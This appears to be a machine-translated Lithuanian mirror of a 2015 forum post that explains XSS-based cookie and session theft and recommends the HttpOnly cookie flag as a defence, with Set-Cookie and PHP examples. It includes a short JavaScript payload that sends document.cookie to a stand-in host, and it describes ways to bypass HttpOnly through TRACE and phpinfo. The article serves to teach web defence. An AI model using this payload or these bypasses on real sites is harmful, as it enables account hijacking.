Šis straipsnis yra veidrodinis mašininio vertimo straipsnis, spauskite čia norėdami pereiti prie originalaus straipsnio.

Rodinys: 11801|Atsakyti: 0

[Saugus ryšys] Pagerinkite žiniatinklio programų saugą naudodami "Httponly"

[Kopijuoti nuorodą]
Paskelbta 2015-06-03 20:57:48 | | |
Atsiradus www paslaugoms, vis daugiau programų perėjo prie B/S struktūrų, todėl įvairias žiniatinklio paslaugas galima pasiekti tik viena naršykle, tačiau tai taip pat vis dažniau sukelia vis daugiau žiniatinklio saugumo problemų. www paslauga remiasi Http protokolu, Http yra protokolas be būsenos, todėl norint perduoti informaciją tarp sesijų, neišvengiamai reikia naudoti slapukus ar seansus ir kitas technologijas lankytojo būsenai pažymėti, o nesvarbu, ar tai slapukas, ar sesija, ji paprastai įgyvendinama naudojant slapukus (Sesija iš tikrųjų pažymėta atpažinimo ženklu naršyklės slapuke, Serveris gauna šį raktą ir patikrina teisėtumą bei susieja atitinkamą serveryje saugomą būseną su naršykle), kad neišvengiamai saugiai sutelktų dėmesį į slapuką, kol šis slapukas yra gautas, galima gauti kitų tapatybę, o tai yra nuostabus dalykas įsibrovėliams, ypač kai gautas slapukas priklauso labai privilegijuotam asmeniui, pavyzdžiui, administratoriui, žala yra dar didesnė. Tarp įvairių žiniatinklio saugumo problemų XSS pažeidžiamumas yra ypač pavojingas.
Programoms, kai yra XSS pažeidžiamumas, tai reiškia, kad kiti gali vykdyti savavališkus JS scenarijus jūsų naršyklėje, o jei programa yra atvirojo kodo arba funkcijos yra viešos, kiti gali naudoti Ajax šioms funkcijoms naudoti, tačiau procesas dažnai yra sudėtingas, ypač jei norite tiesiogiai gauti kažkieno tapatybę atsitiktiniam naršymui. Ne atvirojo kodo programoms, tokioms kaip kai kurių didelių svetainių žiniatinklio fonas (reikšminga web2.0 savybė yra didelis sąveikų skaičius, vartotojams dažnai reikia bendrauti su administratoriais fone, pvz., pranešimai apie klaidas ar informacijos pateikimas ir kt.), nors dėl sąveikos egzistavimo gali būti kelių svetainių scenarijų pažeidžiamumų, tačiau dėl fono supratimo stokos neįmanoma sukurti tobulo ajax kodo, net jei galite naudoti js, kad gautumėte foninį kodą ir grąžintumėte jį analizei, tačiau procesas taip pat yra sudėtingas ir nėra paslėptas. Šiuo metu labai efektyvu naudoti xss pažeidžiamumą norint gauti slapukus ar sesijos užgrobimą, konkrečiai analizuoti programos autentifikavimą, o tada naudoti tam tikrus metodus ir net visam laikui gauti kitos šalies tapatybę, net jei kita šalis išeina iš programos.
Taigi, kaip gauti slapukų ar sesijos užgrobimą? Naršyklės dokumento objekte slapuko informacija saugoma, o slapuką galima nuskaityti naudojant js, jei gaunate šį slapuką, galite turėti kito asmens tapatybę. Tipiškas XSS atakos teiginys yra toks:
  1.   xss exp:
  2.   url=document.top.locatio去掉n.href;
  3.   cookie=document.cookie;
  4.   c=new Image();
  5.   c.src=’<a  target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Kopijuoti kodą

Kai kurios programos gali naudoti naršyklės susiejimo metodus, kad išspręstų šią problemą, pvz., susieti slapukus su naršyklės vartotojo agentu, ir aptikti slapuką laikyti negaliojančiu. Šis metodas pasirodė esąs neveiksmingas, nes kai įsibrovėlis pavogia slapuką, jis tuo pačiu metu turi būti gavęs vartotojo agentą. Taip pat yra dar vienas griežtas, kuris susieja slapukus su "Remote-addr" (tiesą sakant, jis yra susietas su IP, tačiau kai kurios programos turi problemų su IP gavimo metodu, o tai taip pat sukelia dalybą), tačiau tai sukelia labai prastą vartotojo patirtį, IP keitimas yra įprastas dalykas, pavyzdžiui, darbas ir namai yra 2 IP, todėl šis metodas dažnai nepriimamas. Todėl slapukų atakos dabar yra labai populiarios, o kai kuriose web 2.0 svetainėse lengva gauti programos administratoriaus statusą.
Kaip apsaugoti savo jautrius slapukus? Atlikus aukščiau pateiktą analizę, bendrieji slapukai gaunami iš dokumentų objektų, o mums tereikia padaryti neskelbtinus slapukus nematomus naršyklės dokumente. Laimei, naršyklės dabar paprastai priima parametrą, vadinamą HttpOnly, nustatydamos slapukus, kaip ir kitus parametrus, tokius kaip domenas, nustačius šį HttpOnly, slapuko naršyklės dokumento objekte nematysite, o naršant naršyklė niekaip neturės įtakos, nes slapukas bus siunčiamas naršyklės antraštėje (įskaitant ajax). Programos paprastai nenaudoja šių slaptų slapukų js, kai kuriems jautriems slapukams naudojame "HttpOnly" ir nenustatome kai kurių slapukų, kuriuos reikia valdyti su js programoje, o tai užtikrina slapukų informacijos saugumą ir programą. Daugiau informacijos apie "HttpOnly" ieškokite http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Slapukų nustatymo naršyklėje antraštė yra tokia:
  1. Set-Cookie: =[; =]
  2.   [; expires=][; domain=]
  3.   [; path=][; secure][; HttpOnly]
Kopijuoti kodą

Atsižvelgiant į php kaip pavyzdį, parama HttpOnly buvo pridėta prie Setcookie funkcija php 5.2, pavyzdžiui:
   setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
Galite nustatyti abc slapuką į HttpOnly, o dokumentas nebus matomas šiam slapukui. Kadangi funkcija setcookie iš esmės yra antraštė, taip pat galite naudoti antraštę, kad nustatytumėte Tik Http. Tada naudokite document.cookie, kad pamatytumėte, kad šis slapukas nebepasiekiamas. Šį metodą naudojame norėdami apsaugoti "Sessionid", pvz., kai kuriuos autentifikavimo slapukus, kad nereikėtų jaudintis dėl tapatybės įgijimo, o tai yra labai svarbu kai kurioms foninėms programoms ir žiniatinklio paštui, siekiant pagerinti saugumą. Kai vėl naudojame aukščiau pateiktą atakos metodą, matome, kad nebegalime gauti neskelbtinų slapukų, kuriuos nustatėme kaip "HttpOnly".
Tačiau taip pat galima pastebėti, kad "HttpOnly" nėra visagalis, visų pirma, jis negali išspręsti xss problemos, jis vis dar negali atsispirti kai kurių pacientų įsilaužėlių atakai, taip pat negali užkirsti kelio įsibrovėliams daryti ajax pateikimus, ir net atsirado kai kurie xss pagrįsti tarpiniai serveriai, tačiau pavyko pakelti atakų slenkstį, bent jau xss atakų neužbaigia kiekvienas scenarijaus vaikas, o kiti atakos metodai yra dėl tam tikrų aplinkos ir techninių apribojimų. Tai nėra taip įprasta kaip sausainių vagystė.
"HttpOnly" taip pat gali išnaudoti kai kuriuos pažeidžiamumus arba sukonfigūruoti "Bypass", pagrindinė problema yra ta, kad tol, kol galite gauti naršyklės siunčiamą slapukų antraštę. Pavyzdžiui, ankstesnė Http Trace ataka gali grąžinti slapuką antraštėje, o šią ataką galima užbaigti naudojant ajax arba flash, kuris taip pat buvo pataisytas ajax ir flash. Kitas pastebimas pavyzdys galimas apeiti konfigūraciją ar programą yra phpinfo, kaip žinote, phpinfo bus rodyti http antraštę siunčiama naršyklės, įskaitant autentifikavimo informaciją mes saugome, ir šis puslapis dažnai egzistuoja įvairiose svetainėse, kol jūs naudojate ajax gauti phpinfo puslapį, išimti dalį, atitinkančią antraštės antraštę gauti slapuką. Kai kurių programų trūkumai taip pat gali sukelti antraštės nutekėjimą, kuris gali būti atakuojamas taip pat, kaip ir puslapis, apsaugotas pagrindiniu patikrinimu.
"HttpOnly" geriau palaikomas IE 6 ir naujesnėse versijose, plačiai naudojamas tokiose programose kaip "Hotmail" ir pasiekė gana gerų saugos rezultatų.




Ankstesnis:Ištraukite orų informacijos šaltinio kodą iš Kinijos orų tinklo šaltinio kodo
Kitą:Išsamus "HttpOnly" parametrų paaiškinimas įprastomis žiniatinklio kūrimo kalbomis
Atsakomybės apribojimas:
Visa programinė įranga, programavimo medžiaga ar straipsniai, kuriuos skelbia Code Farmer Network, yra skirti tik mokymosi ir mokslinių tyrimų tikslams; Aukščiau nurodytas turinys negali būti naudojamas komerciniais ar neteisėtais tikslais, priešingu atveju vartotojai prisiima visas pasekmes. Šioje svetainėje pateikiama informacija gaunama iš interneto, o ginčai dėl autorių teisių neturi nieko bendra su šia svetaine. Turite visiškai ištrinti aukščiau pateiktą turinį iš savo kompiuterio per 24 valandas nuo atsisiuntimo. Jei jums patinka programa, palaikykite autentišką programinę įrangą, įsigykite registraciją ir gaukite geresnes autentiškas paslaugas. Jei yra kokių nors pažeidimų, susisiekite su mumis el. paštu.

Mail To:help@itsvse.com